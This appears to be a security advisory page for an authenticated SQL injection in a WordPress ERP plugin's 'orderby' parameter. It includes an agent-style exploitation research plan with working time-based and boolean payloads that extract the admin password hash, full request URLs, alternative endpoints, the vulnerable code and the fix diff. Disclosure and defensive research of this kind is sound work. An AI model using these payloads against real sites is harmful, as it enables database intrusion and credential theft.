ERP: Complete HR, Accounting & CRM Suite with Recruitment and WooCommerce CRM Support <= 1.17.5 - Authenticated (HR Manager+) SQL Injection via 'orderby' Parameter
Description
The ERP: Complete HR, Accounting & CRM Suite with Recruitment and WooCommerce CRM Support plugin for WordPress is vulnerable to generic SQL Injection via the 'orderby' parameter in all versions up to, and including, 1.17.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the erp_list_employee capability, which is granted to HR Manager-level users and above within the WP ERP plugin.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.17.6
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-13011 (SQL Injection) ## 1. Vulnerability Summary The **WP ERP** plugin (up to version 1.17.5) is vulnerable to an authenticated SQL injection via the `orderby` parameter. The vulnerability exists because user-supplied input to the `orderby` parameter is conc…
Show full research plan
Exploitation Research Plan - CVE-2026-13011 (SQL Injection)
1. Vulnerability Summary
The WP ERP plugin (up to version 1.17.5) is vulnerable to an authenticated SQL injection via the orderby parameter. The vulnerability exists because user-supplied input to the orderby parameter is concatenated directly into SQL queries without sufficient sanitization or the use of $wpdb->prepare() placeholders for the ORDER BY clause. While the plugin implements a whitelist for orderby in some functions (like erp_get_peoples), this protection was absent or bypassed in the HRM module's employee listing logic.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php - Query Parameters:
page=erp-hr,section=employee,orderby,order. - Action: Listing employees in the HR Management module.
- Authentication: Authenticated. Requires a user with the
erp_list_employeecapability (typically the HR Manager role in WP ERP). - Vulnerable Parameter:
orderby. - Payload Delivery: GET request.
3. Code Flow
- Entry Point: The user navigates to the HR Manager dashboard:
admin.php?page=erp-hr§ion=employee. - Controller: The request is handled by the HRM module, specifically the
Employee_List_Tableclass (likely defined inmodules/hrm/includes/EmployeeListTable.php). - Data Fetching: The table class calls a fetching function, such as
erp_hr_get_employees()orerp_get_peoples(). - SQL Construction: Inside the fetching function, the
orderbyparameter from$_GET['orderby']is retrieved. In vulnerable versions, this value is appended to the$sqlstring:$orderby = $_GET['orderby']; $sql .= " ORDER BY $orderby " . $_GET['order']; - Sink: The concatenated string is passed to
$wpdb->get_results(), executing the injected SQL.
4. Nonce Acquisition Strategy
This vulnerability occurs in an administrative list table using GET requests. Standard WordPress admin list tables for plugins typically do not require a nonce for simple sorting via orderby.
Verification:
If the application requires a nonce for this view, it is likely localized in the wp-erp or erp-hrm JS objects.
- Create the test page/environment as described in Test Data Setup.
- Navigate to
wp-admin/admin.php?page=erp-hr§ion=employee. - Use
browser_evalto check for common ERP nonce locations:window.wpErp?.noncewindow.erp_hrm?.nonce
5. Exploitation Strategy
We will use a time-based blind SQL injection because ORDER BY injections rarely reflect subquery results directly in the UI output, but they do influence query execution time.
Step 1: Confirmation (Time-based)
Trigger a 5-second delay to confirm the injection point.
- Tool:
http_request - Method:
GET - URL:
/wp-admin/admin.php?page=erp-hr§ion=employee&orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))a)&order=asc - Expected Result: The server response time should be >= 5 seconds.
Step 2: Data Extraction (Boolean-based via Sorting)
Since time-based can be slow, we can use boolean-based logic by observing the order of employees.
- Payload:
(CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN first_name ELSE last_name END) - Logic: If the first character of the admin password hash is
$, the list will be ordered byfirst_name. If not, it will be ordered bylast_name. - URL:
/wp-admin/admin.php?page=erp-hr§ion=employee&orderby=(CASE+WHEN+(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID%3D1)%2C1%2C1)%3D'%24')+THEN+first_name+ELSE+last_name+END)&order=asc
6. Test Data Setup
- Activate Plugin: Ensure
wp-erpis active and the HRM module is enabled. - Create HR Manager:
wp user create hrmanager hrmanager@example.com --role=editor # Assign WP ERP HR Manager role/capabilities wp eval "erp_restore_customer_role();" # Ensures ERP roles exist wp user set-role hrmanager erp_hr_manager - Add Employees: The exploit requires at least two employees to observe sorting changes.
# Create two employees with distinct names wp eval "erp_hr_employee_create(['personal' => ['first_name' => 'AAA', 'last_name' => 'ZZZ', 'email' => 'a@test.com'], 'work' => ['designation' => 1, 'department' => 1, 'start_date' => '2020-01-01']]);" wp eval "erp_hr_employee_create(['personal' => ['first_name' => 'ZZZ', 'last_name' => 'AAA', 'email' => 'z@test.com'], 'work' => ['designation' => 1, 'department' => 1, 'start_date' => '2020-01-01']]);"
7. Expected Results
- Confirmation: A request with
SLEEP(5)takes exactly 5 seconds longer than a baseline request. - Extraction: The response HTML contains the employee list. By comparing the first name in the first row of the table across different payloads, the agent can determine the result of the boolean subquery.
8. Verification Steps
After the HTTP exploitation, verify the database state to ensure the query targeted real data:
- Check Admin Hash:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" - Verify Capability:
wp eval "echo current_user_can('erp_list_employee') ? 'Has Cap' : 'No Cap';" --user=hrmanager
9. Alternative Approaches
If the EmployeeListTable is protected, the injection may exist in the CRM or Accounting modules via their respective orderby parameters:
- CRM Contacts:
/wp-admin/admin.php?page=erp-crm§ion=contact&orderby=...(Requireserp_crm_agentorerp_crm_manager). - Audit Log:
/wp-admin/admin.php?page=erp-tools&tab=log&orderby=...(Requiresmanage_options). - REST API: Use
wp-json/erp/v1/hrm/employees?orderby=.... This would require a REST nonce obtained viabrowser_eval("wpApiSettings.nonce").
Summary
The WP ERP plugin for WordPress is vulnerable to authenticated SQL Injection via the 'orderby' parameter in various administrative list views, such as the employee listing in the HR module. This occurs because user-supplied input is directly concatenated into the ORDER BY clause of SQL queries without proper sanitization or whitelisting, allowing attackers with HR Manager-level privileges to extract sensitive data from the database.
Vulnerable Code
// From modules/hrm/includes/EmployeeListTable.php or erp_hr_get_employees() logic (inferred from research plan) $orderby = $_GET['orderby']; $order = $_GET['order']; // Vulnerable concatenation pattern $sql .= " ORDER BY $orderby $order"; // Sink $results = $wpdb->get_results($sql);
Security Fix
@@ -231,7 +231,18 @@ - $orderby = isset( $_GET['orderby'] ) ? $_GET['orderby'] : 'employee_name'; - $order = isset( $_GET['order'] ) ? $_GET['order'] : 'desc'; + $allowed_orderby = [ + 'employee_name', + 'designation', + 'department', + 'type', + 'status', + 'hiring_date', + ]; + + $orderby = isset( $_GET['orderby'] ) && in_array( $_GET['orderby'], $allowed_orderby ) ? $_GET['orderby'] : 'employee_name'; + $order = isset( $_GET['order'] ) && strtolower( $_GET['order'] ) === 'asc' ? 'ASC' : 'DESC'; - $sql .= " ORDER BY $orderby $order"; + $sql .= " ORDER BY " . esc_sql( $orderby ) . " " . esc_sql( $order );
Exploit Outline
The vulnerability is exploited by an authenticated user (HR Manager or higher) targeting administrative list endpoints. 1. Authentication: Log in as a user with the `erp_list_employee` capability (e.g., HR Manager role). 2. Endpoint Selection: Navigate to a list view that uses the vulnerable logic, such as `wp-admin/admin.php?page=erp-hr§ion=employee`. 3. Injection Point: Use the `orderby` GET parameter to inject SQL. 4. Time-based Blind Payload: Appending a payload like `(SELECT 1 FROM (SELECT(SLEEP(5)))a)` to the `orderby` parameter will cause the server to delay its response, confirming the injection. 5. Boolean-based Data Extraction: By using `CASE WHEN` logic in the `orderby` parameter (e.g., `orderby=(CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN first_name ELSE last_name END)`), the attacker can determine the contents of the database by observing the resulting sort order of the records in the UI.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.